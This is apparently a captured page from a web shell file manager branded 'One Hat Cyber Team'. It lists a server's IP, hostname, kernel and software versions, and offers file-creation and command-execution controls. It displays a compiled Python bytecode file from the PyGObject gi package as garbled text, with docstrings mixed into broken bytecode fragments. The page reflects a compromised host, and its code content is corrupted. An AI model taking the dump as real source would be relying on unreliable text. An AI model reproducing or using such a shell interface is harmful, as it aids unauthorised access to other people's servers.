⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
gi
/
__pycache__
/
View File Name :
_option.cpython-310.pyc
o f_T3 @ s d Z ddlZddlZddlmZmZmZmZmZ ddlm Z ddl mZ ddlm Z e dZee Zg d ZG d d dejZG dd d ejZG dd dejZeZdS )a, GOption command line parser Extends optparse to use the GOptionGroup, GOptionEntry and GOptionContext objects. So it is possible to use the gtk, gnome_program and gstreamer command line groups and contexts. Use this interface instead of the raw wrappers of GOptionContext and GOptionGroup in glib. N) OptParseErrorOptionErrorOptionValueErrorBadOptionErrorOptionConflictError )get_introspection_module)_gi)GErrorGLib) r r r r r OptionOptionGroupOptionParsermake_optionc @ sN e Zd ZdZejjd Zejjg d Zdej Z dd Zdd Zd d Z dS )r a Represents a command line option To use the extended possibilities of the GOption API Option (and make_option) are extended with new types and attributes. Types: filename The supplied arguments are read as filename, GOption parses this type in with the GLib filename encoding. :ivar optional_arg: This does not need a arguement, but it can be supplied. :ivar hidden: The help list does not show this option :ivar in_main: This option apears in the main group, this should only be used for backwards compatibility. Use Option.REMAINING as option name to get all positional arguments. .. NOTE:: Every argument to an option is passed as utf-8 coded string, the only exception are options which use the 'filename' type, its arguments are passed as strings in the GLib filename encoding. For further help, see optparse.Option. )filename)hiddenin_mainoptional_arg--c O s^ t jj| g|R i | | jstdt| jt| jk r"td| js-td| jd d S )Nz!%s at least one long option name.z;%s at least more long option names than short option names.z%s needs a help message.r )optparser __init__ _long_opts ValueErrorlen_short_optshelpselfargskwargs r ,/usr/lib/python3/dist-packages/gi/_option.pyr ^ s zOption.__init__c C sF | j |v r| j| j tj| | t| jt| jkr!tdd S )NzCgoption.Option needs more long option names than short option names) REMAININGr appendr r _set_opt_stringr r r )r optsr r r! r$ j s zOption._set_opt_stringc c s d}| j r|tjjO }| jr|tjjO }| r#| jr"|tjjO }n|tjj O }| j dkr4|tjjO }t| j | jD ] \}}|d }t|tsM|d}|dd ||| j| jfV q;| j t| jd D ]}|dd d|| j| jfV qfd S )Nr r r zutf-8 )r r OptionFlagsHIDDENr IN_MAINtakes_valuer OPTIONAL_ARGNO_ARGtypeFILENAMEzipr r isinstancebytesencoder metavarr )r flags long_name short_nameshort_bytesr r r! _to_goptionentriesr s* zOption._to_goptionentriesN)__name__ __module____qualname____doc__r r TYPESATTRSr OPTION_REMAININGr" r r$ r9 r r r r! r 7 s r c @ sB e Zd ZdZ dddZdd Zdd Zdd dZdd ZdS )r a A group of command line options. :param str name: The groups name, used to create the --help-{name} option :param str description: Shown as title of the groups help view :param str help_description: Shown as help to the --help-{name} option :param list option_list: The options used in this group, must be option.Option() :param dict defaults: A dicitionary of default values :param translation_domain: Sets the translation domain for gettext(). .. NOTE:: This OptionGroup does not exactly map the optparse.OptionGroup interface. There is no parser object to supply, but it is possible to set default values and option_lists. Also the default values and values are not shared with the OptionParser. To pass a OptionGroup into a function which expects a GOptionGroup (e.g. gnome_program_init() ). OptionGroup.get_option_group() can be used. For further help, see optparse.OptionGroup. Nc C sZ t j| td| || _d | _|| _|r|| _d | _|| _ |r)|D ] }| | q!d S d S )Nerror)r OptionContainerr r nameparserhelp_descriptiondefaultsvaluestranslation_domain add_option)r rD descriptionrF option_listrG rI optionr r r! r s zOptionGroup.__init__c C s g | _ | d S N)rL _create_option_mappings)r r r r! _create_option_list s zOptionGroup._create_option_listc sb fdd}t jjj|}jr|j g }jD ] }|| q | | |S )Nc s~ | drj| }nj| }z|| |j W d S ty> t d }tt |}t |_tj j|_t ||_|w )Nr r ) startswith _long_opt _short_optprocessrH r sysexc_infor strOPTION_CONTEXT_ERROR_QUARKdomainr r BAD_VALUEcodemessage)option_nameoption_valuegroupoptrB gerrorrE r r r! callback s z.OptionGroup._to_goptiongroup.
.callback)r r rD rK rF rI set_translation_domainrL extendr9 add_entries)r rE rc r_ entriesrM r rb r! _to_goptiongroup s zOptionGroup._to_goptiongroupc C s | | |S )z Returns the corresponding GOptionGroup object. Can be used as parameter for gnome_program_init(), gtk_init(). )set_values_to_defaultsrh )r rE r r r! get_option_group s zOptionGroup.get_option_groupc C sR | j D ]}| j|j}t|tr| }|||| j|j<